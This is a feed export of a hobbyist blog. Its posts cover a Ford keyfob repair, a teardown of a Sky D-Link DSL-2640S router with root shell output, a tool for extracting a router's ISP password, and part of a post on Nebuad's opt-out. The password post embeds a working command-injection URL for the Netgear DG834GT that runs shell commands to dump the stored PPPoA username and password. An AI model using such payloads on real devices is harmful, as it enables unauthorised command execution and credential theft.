<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-5979318544872859116</id><updated>2012-01-27T14:35:03.402Z</updated><category term='Phorm diagram'/><category term='Phorming'/><category term='Sky D-Link Router'/><category term='Sky router password'/><category term='dg834gt'/><category term='Ford key fob remote'/><category term='Nebuad'/><category term='AOL'/><category term='DSL2640S'/><title type='text'>Mel's Notes</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://pathogenrush.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5979318544872859116/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://pathogenrush.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Mel</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>13</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-5979318544872859116.post-4578348322746232352</id><published>2010-11-16T20:19:00.024Z</published><updated>2011-10-15T20:21:18.752Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='Ford key fob remote'/><title type='text'>Repairing a Ford Focus or Mondeo Keyfob Remote</title><content type='html'>A few months back my father was having trouble with the remote control central locking on his Ford Focus, a new battery in the keyfob didn't help, so I gave the contacts a quick clean with some isopropyl alcohol and all seemed well, until about a month later when it stopped working again. Initially I suspected the cheap 8 for a pound lithium battery I'd used, but realised it was probably a faulty switch after a further replacement only lasted a week, by which time the doors had also started to occasionally relock themselves.&lt;br /&gt;
&lt;br /&gt;
A replacement remote keyfob from Ford, is quite expensive, so he was keen for me to try and fix it.&lt;br /&gt;
&lt;br /&gt;
&lt;a href="http://3.bp.blogspot.com/_v3nnuWO87V0/TOG1ZkvPWcI/AAAAAAAAAOw/wZxx1Ao7sUs/s1600/P1000765_cr.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="158" src="http://3.bp.blogspot.com/_v3nnuWO87V0/TOG1ZkvPWcI/AAAAAAAAAOw/wZxx1Ao7sUs/s200/P1000765_cr.jpg" width="200" /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://2.bp.blogspot.com/_v3nnuWO87V0/TOG1xO9BjDI/AAAAAAAAAO0/CR9lrcY6KeM/s1600/P1000772_cr.jpg" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"&gt;&lt;img border="0" height="139" src="http://2.bp.blogspot.com/_v3nnuWO87V0/TOG1xO9BjDI/AAAAAAAAAO0/CR9lrcY6KeM/s200/P1000772_cr.jpg" width="200" /&gt;&lt;/a&gt;To get the key apart, use a small screwdriver inserted into the slot at the back to pry the remote section out of the key yoke. The two halves of the remote section then simply unclip.&lt;br /&gt;
&lt;br /&gt;
Should you decide to order a new remote from Ford, you'll find the part number on the remote section just below the slot. The RFID chip, which deactivates the immobiliser appears to be located in the half containing the battery, so if you don't have the two keys required to reprogram the immobiliser to accept the RFID in a new remote, swapping the battery compartment over would probably work.&lt;br /&gt;
&lt;br /&gt;
&lt;table cellpadding="0" cellspacing="0" class="tr-caption-container" style="float: left; text-align: left;"&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;img border="0" height="150" src="http://1.bp.blogspot.com/_v3nnuWO87V0/TOHEFxif0SI/AAAAAAAAAPg/Il5fczMJ4dA/s200/P1000773.JPG" style="margin-left: auto; margin-right: auto;" width="200" /&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;&lt;br /&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;The plastic cover over the PCB is held in place by a couple of plastic pegs, which have had their ends melted to stop them pulling back through the holes. Rather than cut the melted ends off , I squeezed them around with a pair of tweezers reducing the diameter enough to pop through the hole.&lt;br /&gt;
&lt;br /&gt;
By now I'm wearing an anti-static strap, rather than risking zapping the electronics. They only cost about 2 quid from somewhere like dealextreme, but don't buy "wireless" ones, as they are a con, and don't work.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;a href="http://1.bp.blogspot.com/_v3nnuWO87V0/TOG3SjZyOJI/AAAAAAAAAO8/v6Qggu3Pt20/s1600/P1000775_cr.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="144" src="http://1.bp.blogspot.com/_v3nnuWO87V0/TOG3SjZyOJI/AAAAAAAAAO8/v6Qggu3Pt20/s200/P1000775_cr.jpg" width="200" /&gt;&lt;/a&gt;&lt;br /&gt;
Gently pop the top peg out of the slot in the PCB to release it.&lt;br /&gt;
&lt;br /&gt;
&lt;a href="http://4.bp.blogspot.com/_v3nnuWO87V0/TOG3fHRco8I/AAAAAAAAAPA/YCJI72hXDAg/s1600/P1000776.JPG" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"&gt;&lt;img border="0" height="150" src="http://4.bp.blogspot.com/_v3nnuWO87V0/TOG3fHRco8I/AAAAAAAAAPA/YCJI72hXDAg/s200/P1000776.JPG" width="200" /&gt;&lt;/a&gt;With the PCB removed, you can see the three miniature switches.&lt;br /&gt;
&lt;br /&gt;
Testing my dad's ones with a meter revealed that the lock button had a partial short, enough to slowly drain the battery, but not normally quite enough to trigger the doors to lock&lt;br /&gt;
&lt;br /&gt;
The cause was corrosion inside the switch, the debris from which, was creating the short. It must have got moisture in, although my dad is certain that the key has never got wet. The key for his previous Focus went through the wash cycle on at least one occasion that I know of, but never developed a fault, the seal on this one clearly isn't so good.&lt;br /&gt;
&lt;br /&gt;
&lt;a href="http://1.bp.blogspot.com/_v3nnuWO87V0/TOG3pAKo3eI/AAAAAAAAAPE/hmfMLTe5NPg/s1600/P1000780_cr.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="200" src="http://1.bp.blogspot.com/_v3nnuWO87V0/TOG3pAKo3eI/AAAAAAAAAPE/hmfMLTe5NPg/s200/P1000780_cr.jpg" width="180" /&gt;&lt;/a&gt;The switches come apart quite easily, by using a jeweller's screwdriver to&amp;nbsp; pop off their metal shells. They are a miniature leaf switch, one leaf acts as a contact, the other increases the force required to operate it.&lt;br /&gt;
&lt;br /&gt;
As a temporary fix, I unclipped the metal shells, scraped off the worst of the corrosion from the contacts and the silver plated leaf on each switch with a jeweller's screwdriver, and cleaned them with isopropyl alcohol. This restored the remote to full working order, but because of the poor condition of the lock switch, I decided to source some replacements.&lt;br /&gt;
&lt;br /&gt;
The switches are 2 x 6 mm KSR subminiature tactile switches made by &lt;a href="http://www.ck-components.com/ksr/tactile,10583,en.html"&gt;C&amp;amp;K&lt;/a&gt;. From measuring the pressure required to operate the originals, I reckoned the 4.5N KSR251GLFS is the best match.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;a href="http://3.bp.blogspot.com/_v3nnuWO87V0/TOLAt2YAyCI/AAAAAAAAAQI/7TCqfyj47P0/s1600/16112010050_cr.png" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"&gt;&lt;img border="0" height="45" src="http://3.bp.blogspot.com/_v3nnuWO87V0/TOLAt2YAyCI/AAAAAAAAAQI/7TCqfyj47P0/s200/16112010050_cr.png" width="200" /&gt;&lt;/a&gt;I'm afraid I don't have any pictures of soldering the replacement switches&amp;nbsp; in, as I passed the job on to my brother; he's vastly better at soldering fiddly smt components than I. He tells me that he used a craft knife to separate the solder joints while heating it with his iron.&lt;br /&gt;
&lt;br /&gt;
When you come to soldering the new switches on the solder pads on the switch are gull-winded so should draw &amp;nbsp;the solder in, the tricky bit is having a steady hand so as not to move them, or if you are clumsy like me, you might find it easier to solder them if you use a plastic spring clip to hold them in place.&lt;br /&gt;
&lt;br /&gt;
The key is now working fine, and cost less than a tenner to fix, &amp;nbsp;with a few spare switches left over, should it ever fail again.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5979318544872859116-4578348322746232352?l=pathogenrush.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pathogenrush.blogspot.com/feeds/4578348322746232352/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5979318544872859116&amp;postID=4578348322746232352' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5979318544872859116/posts/default/4578348322746232352'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5979318544872859116/posts/default/4578348322746232352'/><link rel='alternate' type='text/html' href='http://pathogenrush.blogspot.com/2010/11/repairing-ford-focus-or-mondeo-keyfob.html' title='Repairing a Ford Focus or Mondeo Keyfob Remote'/><author><name>Mel</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_v3nnuWO87V0/TOG1ZkvPWcI/AAAAAAAAAOw/wZxx1Ao7sUs/s72-c/P1000765_cr.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5979318544872859116.post-8491190783590271326</id><published>2010-10-16T10:30:00.077Z</published><updated>2011-10-14T16:39:39.858Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='Sky D-Link Router'/><category scheme='http://www.blogger.com/atom/ns#' term='Sky router password'/><category scheme='http://www.blogger.com/atom/ns#' term='DSL2640S'/><title type='text'>Sky D-Link DSL-2640S Router Password Extractor.</title><content type='html'>If you still have Sky_1.11 firmware ( the Firmware Version is shown on the router's status page ), I'd suggest downloading my program and extracting the password right away, however if you missed your opportunity to obtain your password before the router upgraded to the new Sky_2.04 firmware, then you can still extract it if you flash the router with the earlier version of the d-link firmware included on the CD supplied with the router.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;a href="http://3.bp.blogspot.com/_v3nnuWO87V0/TOQQnIKbiRI/AAAAAAAAAQQ/honX2ithLj4/s1600/auth.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="250" src="http://3.bp.blogspot.com/_v3nnuWO87V0/TOQQnIKbiRI/AAAAAAAAAQQ/honX2ithLj4/s320/auth.jpg" width="320" /&gt;&lt;/a&gt;This application will only work on the D-link router provided by Sky, and is quite likely to stop working in future versions of the firmware. Passwords for other Sky routers can be obtained from &amp;nbsp;&lt;a href="http://www.cm9.net/skypass/"&gt;this website&lt;/a&gt;, if you have the Sagem 2304N, select the Sagem F@ST2504 model. Passwords for the white Sky Netgear DG834GT router can be extracted by clicking &lt;a href="http://192.168.0.1/setup.cgi?PATH=/bin:/sbin:/usr/bin:/usr/sbin;eval+$%28nvram+get+pppoa_username%29;echo+Username+=+$%7Bname%25=%7D;eval+$%28nvram+get+pppoa_password%29;echo+Password+=+$%7Bname%25=%7D;rm+$0&amp;amp;todo=ping_test&amp;amp;next_file=diagping.htm&amp;amp;c4_IPAddr=127.0.0.1%3E/dev/null;%28IFS=%2b;/bin/echo%3E/tmp/mel+$%7BQUERY_STRING%25%25%26to*%7D;/bin/sh+/tmp/mel%29+%3E%261+2%3E%261;"&gt;this link&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
Please be aware that using a router, other than the one provided to you by Sky is in breach of Sky's Terms and Conditions.&lt;br /&gt;
&lt;br /&gt;
If you decide to use a non-sky router, please do not ask Sky customer services to   assist in configuring it, and do not dispose of the one they supplied, as Sky do not provide support to customers while they are using non-sky routers.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Your use of this app, and the information it provides, is entirely at your own risk!&lt;br /&gt;
&lt;br /&gt;
&lt;div&gt;&lt;b&gt;A brand new router stats/password extraction program with  support for the current Dlink Sky2.04 firmware is now available from  here:&lt;/b&gt;-&lt;a href="http://sites.google.com/site/pihsnodnaba/routerstats"&gt; http://sites.google.com/site/pihsnodnaba/routerstats&lt;/a&gt; &lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
You can download the latest version from here:-: &lt;a href="https://skydrive.live.com/redir.aspx?cid=d4f1a5f88060a701&amp;amp;resid=D4F1A5F88060A701%21112"&gt;Authenticity_v1.71.jar&lt;/a&gt; (Please note that the password extraction feature will not work on this version if you connect to the router through a local proxy, as this causes my program to use 127.0.0.1 for the PC's LAN address. &amp;nbsp;&lt;b&gt;Kaspersky&lt;/b&gt;, and most likely one or two other anti-virus programs will cause this issue - I hope to fix this in the first release of my new program.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Please note this currently still only works on the sky_1.xx firmware.&lt;/b&gt; The previous version it still available &lt;a href="http://rs211tg2.rapidshare.com/#%21download%7C211%7C429223384%7CAuthenticity_v1.6.jar%7C221.434"&gt;here&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
The front end is written in Java. I've tested it on Windows XP, a live Linux CD and I'm told it will work on Macs.   If you don't have Java installed, it can be downloaded from here:- &lt;a href="http://www.java.com/en/download/manual.jsp"&gt;Java Downloads for All Operating Systems&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
As of &amp;nbsp;V1.7 of my program, it is possible to extract the password without connecting the router to a phone line. If it fails to extract the password, but reports the adsl stats ok, then the router is probably being blocked from downloading the password extractor from your PC, by your PC's firewall.&lt;br /&gt;
&lt;br /&gt;
If the router is blocked by a firewall (Windows Firewall seems to be a common culprit), its user interface will stop responding until the blocked request times out (about 2 minutes). Temporarily set the firewall running on your PC to allow inbound access on port 8888, or disable it while you extract your password. Then, either wait for the router's UI to start &amp;nbsp;responding again, or reboot it, and my app should work ok. You should remove the firewall rule once you've extracted the password, it is not required to access your detailed stats.&lt;br /&gt;
&lt;br /&gt;
Typical Sky ADSL Settings (these are the same as most BT based ISPs) :-&lt;br /&gt;
&lt;br /&gt;
Encapsulation: PPPoA (PPP over ATM or PPPoA VC-mux on some routers)&lt;br /&gt;
Multiplexing: VC-Based &lt;br /&gt;
&lt;br /&gt;
VPI: 0&lt;br /&gt;
VCI: 38&lt;br /&gt;
ADSL Mode: Auto or&amp;nbsp; Multimode&lt;br /&gt;
&lt;br /&gt;
If you need any help configuring your router, I'd recommend the forums at &lt;a href="http://www.ispreview.co.uk/"&gt;www.ispreview.co.uk&lt;/a&gt; and &lt;a href="http://www.skyuser.co.uk/"&gt;skyuser.co.uk&lt;/a&gt;&amp;nbsp; &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
V1.1 I've added an option to change the port it uses (you can ignore this, unless you run a server on port 8888), improved the error reporting, and fixed a minor bug.  V1.3 Partially fixed a problem with it selecting the wrong network device, on some PCs, made the local IP address configurable in case it still picks the wrong one.&lt;br /&gt;
V1.4 Reconstructed the source from backups after a hardware failure, fixed a few bugs, and got the spinny busy indicator working.&lt;br /&gt;
V1.5 Added an option for those that want to tweak the snr margin (or execute any shell command) - enable "advanced" in the options menu to use it, but if you've just joined, then do not fiddle with the snr margin before the 10 day DLM process is over as it will affect the DLM process, and likely result in your connection speed being limited below what you're line is capable of. It will now also check the current directory for utelnetd and enable the Telnet button if it is found. If you need telnet access a suitable daemon can be found here http://rapidshare.com/files/428158541/utelnetd&lt;br /&gt;
V1.6 Improved the noise margin tweaking options. Note that the noise margin dB adjustments shown on the slider are only approximate, and adjustments of more than -6db might not work with this router's xdslctl command.&lt;br /&gt;
V1.7 Can now extract the authentication details from a router that is not connected to the phone line.&lt;br /&gt;
V1.71 Corrected an erroneous error message, &amp;nbsp;minor changes to the server code. &lt;br /&gt;
&lt;br /&gt;
I'd like to thank everyone making a contribution to my Paypal account, and I'd also like to thank everyone who helped with testing.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style="font-size: large;"&gt;Instructions for Flashing The DSL-2640S&lt;/span&gt;&lt;/b&gt; - only necessary if the firmware has upgraded to Sky_2.04.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style="color: #cc0000;"&gt;&lt;b&gt;Warning: flashing the router could render it permanently inoperative if anything goes wrong, so proceed at your own risk&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
If you wish to do this, disconnect the phone line from the router, and connect the router to your PC with an Ethernet cable, rather than using wireless. Reset the router to its factory defaults (you may wish to back-up your current settings first), then power it up with the reset button held in until the "tick" led starts flashing. This puts the router into recovery mode, you can then use the dlink DSL-2640S recovery utility included on the CD to flash the router. &amp;nbsp;Or if you don't have Windows, you can access the recovery user interface by browsing to http://192.168.1.1, after first configuring your PC with a fixed IP address (eg 192.168.1.100), since the router doesn't run a DHCP server while in recovery mode.&lt;br /&gt;
&lt;br /&gt;
&lt;span style="color: #cc0000;"&gt;&lt;b&gt;Do not turn off the power while the firmware is being written to the router&lt;/b&gt;.&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
It will take about two minutes for the router to write the firmware to its flash memory, then the light will stop flashing and it will then reboot itself, returning to its normal IP address.&lt;br /&gt;
&lt;br /&gt;
Extract the password using Authenticity &amp;nbsp;V1.7 (or later) while the router is still disconnected from the phone line, to avoid any risk of the router re-updating itself.&lt;br /&gt;
&lt;br /&gt;
If the Sky router is unable to connect to Sky after downgrading, reset it to its factory defaults for the downgraded firmware, by holding in the reset button in for 10 seconds when it is already powered up.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5979318544872859116-8491190783590271326?l=pathogenrush.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pathogenrush.blogspot.com/feeds/8491190783590271326/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5979318544872859116&amp;postID=8491190783590271326' title='84 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5979318544872859116/posts/default/8491190783590271326'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5979318544872859116/posts/default/8491190783590271326'/><link rel='alternate' type='text/html' href='http://pathogenrush.blogspot.com/2010/10/dsl-2640s-password-extractor.html' title='Sky D-Link DSL-2640S Router Password Extractor.'/><author><name>Mel</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_v3nnuWO87V0/TOQQnIKbiRI/AAAAAAAAAQQ/honX2ithLj4/s72-c/auth.jpg' height='72' width='72'/><thr:total>84</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5979318544872859116.post-7200931578957628163</id><published>2010-10-02T15:23:00.023Z</published><updated>2011-05-13T19:09:05.160Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='DSL2640S'/><title type='text'>d-link dsl-2640s</title><content type='html'>I managed to get hold of an almost new d-link sky router today. It didn't cost much as it is locked down to sky, but I was hoping I'd be able to flash it with a standard firmware, so that I can use it as a backup while I try to fix one of my other routers, both of which have hardware issues. &lt;br /&gt;
&lt;br /&gt;
Meanwhile I've got the D-link sat on the side of my desk and am using it as a Wifi access point, while having a go at extracting the password generation code.&lt;br /&gt;
&lt;br /&gt;
&lt;a href="http://1.bp.blogspot.com/_v3nnuWO87V0/TKWrkTpoStI/AAAAAAAAANs/IiQwxuioUzE/s1600/dlink.jpg" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5523009158278302418" src="http://1.bp.blogspot.com/_v3nnuWO87V0/TKWrkTpoStI/AAAAAAAAANs/IiQwxuioUzE/s320/dlink.jpg" style="cursor: hand; cursor: pointer; float: right; height: 240px; margin: 0 0 10px 10px; width: 320px;" /&gt;&lt;/a&gt;Here's a picture of the innards.&lt;br /&gt;
&lt;br /&gt;
It is built around a Broadcom BCM63281KFBG, which according to a pdf I found on the Broadcom website, is a cost effective, low power chip, with support for power management. The Wifi chip is a &lt;a href="http://www.broadcom.com/products/Wireless-LAN/802.11-Wireless-LAN-Solutions/BCM4313"&gt;BCM4313KML1G&lt;/a&gt; - single-band, IEEE 802.11n, with dual antenna support, although the router itself is only b and g capable. &lt;br /&gt;
&lt;br /&gt;
As you can see there's minimal shielding on the wireless section, and judging by the PCB, the bcm63281 has an integrated switch. The inclusion of a power button at the rear, proved to be very useful while I was trying to access the shell. &lt;br /&gt;
&lt;br /&gt;
It has four external Ethernet ports, and supports wireless 802.11b &amp;amp; g. The sky firmware includes support for WPA &amp;amp; WPA2, although you can't select WPA2 only. The firmware seems pretty good at automatically selecting an unused wifi channel, however it sometimes picks a channel used by a neighbour, possibly because they have their SSID hidden, so I found it necessary to manually select one.&lt;br /&gt;
&lt;br /&gt;
The wifi signal is a little weak compared to my other routers, probably because of the internal antenna - the bit of steel with a wire attached at the bottom of the picture. I also wonder if they've limited the power output, to avoid causing interference issues due to the lack of shielding. There are unused solder pads on the PCB for a second antenna.  &lt;br /&gt;
&lt;br /&gt;
Mounting the router vertically improved the wifi reception by about 15%, and also makes the router run much cooler. It gets quite toasty while sitting on it's rubber feet, as the vents are at either end of the case. The wifi signal still doesn't match that of my other router's though, or even my neighbour's, it is however, more than adequate to reach opposite ends of my house. &lt;br /&gt;
&lt;br /&gt;
Anyway, before trying to flash it, I wanted to try to access the shell, which, as it doesn't seem to have a telnet or ssh server running, requires a little hacking... &lt;br /&gt;
&lt;br /&gt;
Getting root access didn't provide me with that much of a challenge, although the procedure I used did get a little complicated. &lt;br /&gt;
&lt;br /&gt;
Needless to say it runs busybox under linux:- &lt;br /&gt;
&lt;br /&gt;
&lt;div style="background-color: black;"&gt;&lt;span style="color: white; font-style: italic;"&gt;&lt;pre&gt;BusyBox v1.00 (2010.06.23-05:56+0000) Built-in shell (msh)
Enter 'help' for a list of built-in commands.

# ls
bin      dev      lib      mnt      proc     sys      usr      webs
data     etc      linuxrc  opt      sbin     tmp      var
#
# ls /bin
adsl            dnsproxy        iptables        ps              true
adslctl         dnsspoof        kill            pwd             udhcpd
brctl           dsldiagd        ln              pwr             umount
busybox         dumpmem         ls              pwrctl          upgrader
cat             eapd            mcpd            rawSocketTest   upnp
chmod           ebtables        mkdir           rm              urlfilterd
consoled        echo            mknod           sendarp         vlanctl
cp              epi_ttcp        mount           setmem          wl
date            ethctl          msh             sh              wlctl
ddnsd           ethswctl        nas             sleep           wlevt
deluser         false           nas4not         smd             wlmngr
df              fc              nvram           sntp            xdslctl
dhcpc           fcctl           nvramUpdate     ssk             xtm
dhcpd           flash_eraseall  ping            sysinfo         xtmctl
diapd           hotplug         ping6           telnetd
dmesg           httpd           pppd            tftpd
#
# ls /sbin
ethctl    ifconfig  insmod    logread   rmmod     syslogd
hotplug   init      klogd     reboot    route     vconfig
#
# help

Built-in commands:
-------------------
. : break cd continue eval exec exit export help login newgrp
read readonly set shift times trap umask wait [ busybox cat chmod
cp date deluser df dmesg echo expr false flash_eraseall ftpget
ifconfig init insmod kill killall klogd linuxrc ln logger logread
ls mkdir mknod mount msh nc ping ping6 ps pwd reboot rm rmmod
route sendarp sh sleep sysinfo syslogd test tftp tftpd top true
tty umount vconfig wget
#
#
cat cpuinfo
#
system type             : 96328avng
processor               : 0
cpu model               : Broadcom4350 V7.5
BogoMIPS                : 319.48
wait instruction        : yes
microsecond timers      : yes
tlb_entries             : 32
extra interrupt vector  : no
hardware watchpoint     : no
ASEs implemented        :
shadow register sets    : 1
core                    : 0
VCED exceptions         : not available
VCEI exceptions         : not available
#
#
&lt;/pre&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="background-color: black;"&gt;&lt;span style="color: white; font-style: italic;"&gt;&lt;pre&gt;Mem: 24400K used, 36880K free, 0K shrd, 2676K buff, 9752K cached
Load average: 0.13, 0.08, 0.01    (State: S=sleeping R=running, W=waiting)

 PID USER     STATUS   RSS  PPID %CPU %MEM COMMAND
 158 admin    SW         0     2  1.7  0.0 bcmsw
1098 admin    R        404  1096  0.5  0.6 exe
1002 admin    S        140     1  0.1  0.2 telnetd
 844 admin    S       1576   187  0.0  2.5 httpd
 188 admin    S       1448   187  0.0  2.3 ssk
 531 admin    S       1392   187  0.0  2.2 wlmngr
 187 admin    S        724   114  0.0  1.1 smd
 233 admin    S        640   187  0.0  1.0 mcpd
 608 admin    S        532   187  0.0  0.8 upgrader
1005 admin    S        500     1  0.0  0.8 pppd
 114 admin    S        464     1  0.0  0.7 sh
1096 admin    S        448  1002  0.0  0.7 sh
 195 admin    S        416   187  0.0  0.6 syslogd
   1 admin    S        392     0  0.0  0.6 init
 196 admin    S        344   187  0.0  0.5 klogd
 197 admin    S        340   187  0.0  0.5 sntp
 609 admin    S        288   187  0.0  0.4 dsldiagd
 250 admin    S        216     1  0.0  0.3 dnsspoof
 803 admin    S        212     1  0.0  0.3 nas
 799 admin    S        124     1  0.0  0.2 eapd
^C#
#
#
#&lt;/pre&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
Running the PPP daemon manually, reveals that "ps" masks the chap password with a couple of asterisks. &lt;br /&gt;
&lt;div style="background-color: black;"&gt;&lt;span style="color: white; font-style: italic;"&gt;&lt;pre&gt;1005 admin       500 S   pppd -c pppoa0 -a 0.0.38 -u mel@btbroadband.com -p **
1096 admin       448 S   /bin/sh
1103 admin       388 R   ps
&lt;/pre&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;If you've bought one off ebay, and want to check it works before flashing, the typical format of the pppd command is:- &lt;br /&gt;
&lt;br /&gt;
/bin/pppd -c pppoa0 -a 0.0.38 -u USERNAME -p PASSWORD  -f0 -z1500&amp;amp; &lt;br /&gt;
&lt;br /&gt;
Obviously you'd need access to the shell first (I've written a program to provide telnet access and also to extract the password) and I suspect "pppd" will need to be run before connecting the router to the telephone line.&lt;br /&gt;
&lt;br /&gt;
Finding a compatible firmware may prove to be very tricky though, I was hoping it would be the same hardware as the broadcom based dsl-2640b, however this router's design seems to be a new one.&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&lt;u&gt;Update&lt;/u&gt;&lt;br /&gt;
&lt;br /&gt;
D-Link have released the &lt;a href="http://pmdap.dlink.com.tw/PMD/GetAgileFile?itemNumber=GPL1100005&amp;amp;fileName=DSL-2640S_SKY_1.11_GPL_release.tar.gz&amp;amp;fileSize=1.97905172E8;"&gt;GPL source code&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5979318544872859116-7200931578957628163?l=pathogenrush.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pathogenrush.blogspot.com/feeds/7200931578957628163/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5979318544872859116&amp;postID=7200931578957628163' title='22 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5979318544872859116/posts/default/7200931578957628163'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5979318544872859116/posts/default/7200931578957628163'/><link rel='alternate' type='text/html' href='http://pathogenrush.blogspot.com/2010/09/d-link-dsl-2640s.html' title='d-link dsl-2640s'/><author><name>Mel</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_v3nnuWO87V0/TKWrkTpoStI/AAAAAAAAANs/IiQwxuioUzE/s72-c/dlink.jpg' height='72' width='72'/><thr:total>22</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5979318544872859116.post-6948545200280635175</id><published>2008-05-16T12:01:00.019Z</published><updated>2011-10-15T19:17:28.832Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='Phorming'/><category scheme='http://www.blogger.com/atom/ns#' term='Nebuad'/><title type='text'>Nebuad's opt-out</title><content type='html'>I thought I'd have a quick look at one of Phorm's rivals, Nebuad.&lt;br /&gt;
&lt;br /&gt;
Apparently much like Phorm, Nebuad uses a cookie based opt-out. Opting out or back-in is achieved by requesting a URL, in response to which Nebuad's server sends your browser its opt-out, or opt-in cookies...&lt;br /&gt;
&lt;br /&gt;
Surprisingly, the opt-in /opt-out pages are indexed by google: &lt;a href="http://www.google.co.uk/search?num=100&amp;amp;hl=en&amp;amp;q=site%3Anebuad.com+optin&amp;amp;meta=" rel="nofollow"&gt;http://www.google.co.uk/search?num=100&amp;amp;hl=en&amp;amp;q=site%3Anebuad.com+optin&amp;amp;meta=&lt;/a&gt;. &lt;br /&gt;
&lt;br /&gt;
